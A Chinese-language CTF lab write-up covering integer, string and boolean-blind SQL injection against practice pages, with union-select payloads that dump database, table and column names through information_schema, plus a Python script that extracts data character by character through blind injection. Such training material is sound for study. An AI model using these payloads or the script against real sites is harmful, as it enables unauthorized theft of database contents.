发布于 

看雪-2_13_sql_1100

0x01 系统工具

  • 系统:MacOs 22.5.0
  • 工具:firefoxburpsuite2022

0x02 实验目标

  • 有黑客在尝试拖库
  • SQL注入漏洞分析与实操讲解

0x03 具体步骤

  • 1.php整数型SQL注入训练、2.php字符型SQL注入训练、3.php盲注型SQL注入训练 image.png这三个案例目的均为获取数据库中的数据,可以从以下5步获取结果
    • 判断注入位点、判断select列数、查库名、查表名、查列名
1.php 整数型SQL

image.png

  • 判断注入位点
    使用and 1=1and 1=0页面是否一致判断是否存在注入位点
    and 1=1如下image.png
    and 1=0 如下image.png
    界面不一致,说明存在注入点
  • 判断select列数
    使用order by确认列数(按第几列排序),根据反馈结果确认列数看到有三列,查数据库信息可以通过这三列获取
  • 库名
    • 在sql中我们查询database语句为 select * from *** where id =1
      那么拼接后的语句可以写为?id=1 union select 1,2,database()
    • id=1 不显示数据image.png
    • id=0正常显示image.png
    • 说明使用id=0,可以保证把数据库位置让出来,让数据显示,需要判断哪些列在前端展示,最后查到库名ctf
  • 表名
    • 通过information_schema查询元数据,获取表名,列名但不包含用户的数据表信息、要注意我们表有好多个,但是我们把多个表合并为一行显示需要用到函数 group_concat(table_name)
    • 拼接后的URL如下
    • ?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctf'
    • 查询到表名信息:answer,emails,referers,uagents,users
      • 根据经验判断哪个表最敏感answer
  • 查`列名
    • 通过information_schema.columns获取ctfanswer表的列名,还需要把多个列合并到一起 group_concat(column_name)
    • 查询列URL如下
    • ?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='answer'image.png
    • 获取列名为flag
  • 查结果
    • 根据 库(ctf)表(answer)列(flag) 查询出 结果
    • ?id=0 union select 1,2,flag from answer image.png
2.php 字符型SQL

如果能获取源码的情况下,直接阅读源码是最有效率的

注释不可用的情况下,-- - 是最有用的。

  • 判断注入位点
    • and 1=1and 1=0 发现界面一致,查看源码image.png使用''过略,前端输入所有数据后端全部使用’',使用’#方式过略image.png
  • 判断select列数
    • 使用URL id=1’ order by 3#查询列数 image.png
  • 库名
    • ?id=1‘ union select 1,2,database()#
  • 表名
    • ?id=0’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctf'#
  • 列名
    - ?id=0’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name='answer'#
  • 查结果
    • ?id=0’ union select 1,2,flag from answer#
3.php 盲注型SQL
  • 当出现类似true,false回显表示布尔盲注,如下图查询有结果

  • 查询无结果image.png

  • and 1=1 表示查询有结果image.png

  • 当出现and 1=0为查询无结果image.png

  • 像这种情况,按照如下思路:

    • 在没有效据回显的情况下,可以存在不同的页面内容回显
    • 通常逐个爆破猜解,效率偏低
    • 思路:利用回显的不同推测SQL语句执行的结果是True还是False
    • Payload: or select * from users where id='1' and (select length(database()))=1#
  • 编写脚本

    • 使用python写,有一些盲注常用函数
      • left(a,b)从左侧截取a的前b位left(database(),1)>'s'
      • substr(a,b,c)b位置开始,截取字符串a的c长度
      • mid(a,b,c)从位置b开始 ,截取字符串ac位
      • ascii() 将某个字符转换为 ascii 值:ascii(substr(user),1,1))=101#
    • 围绕功能点
      • 判断注入位点
      • 判断select列数
      • 库名
      • 表名
      • 列名
      • 结果image.png

0x04 POC

import requests
url = "http://46b298dd-c0cd-4710-bcba-e21391d5d64f.node.kanxue.com:81/3.php?id=0 or ascii(substr((select database()),%s,1))=%d"
url = "http://46b298dd-c0cd-4710-bcba-e21391d5d64f.node.kanxue.com:81/3.php?id=0 or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%s,1))=%d"
url = "http://46b298dd-c0cd-4710-bcba-e21391d5d64f.node.kanxue.com:81/3.php?id=0 or ascii(substr((select group_concat(coulmn_name) from information_schema.columns where table_name='answer'),%s,1))=%d"
url = "http://46b298dd-c0cd-4710-bcba-e21391d5d64f.node.kanxue.com:81/3.php?id=0 or ascii(substr((select group_concat(flag) from answer),%s,1))=%d"

result = ""

for i in range(1,100):
    for j in range(33,127):
        payload = url % (i,j)
        resp = requests.get(payload)
        if "查询" in resp.text:
            result += chr(j) # ascii码 转为 字符
            print(result)
            break


print(result)

%s 表示字符串输入,%d表示整数输入,用i、j构造payload,通过查询库名表名列名,最后查询flag来逐步循环获取结果,sql语句前两种注入基本一致,这里直接使用select,没有union select限制列数

0x05 小结

  1. union select有回显,可以看到某些字段的回显结果
  2. union select操作过程
    • 猜解出字段数目
      • union 连接两个select,让两个语句同时执行,但需要左边的列数右边的列数相等union select 才能正确执行
    • 猜测表名字段名
    • 注入得到结果
  3. 最方便的注入方式
    • union语句可以填充查询结果,并额外执行一次查询
  4. 字符串SQL,使用’#方式过略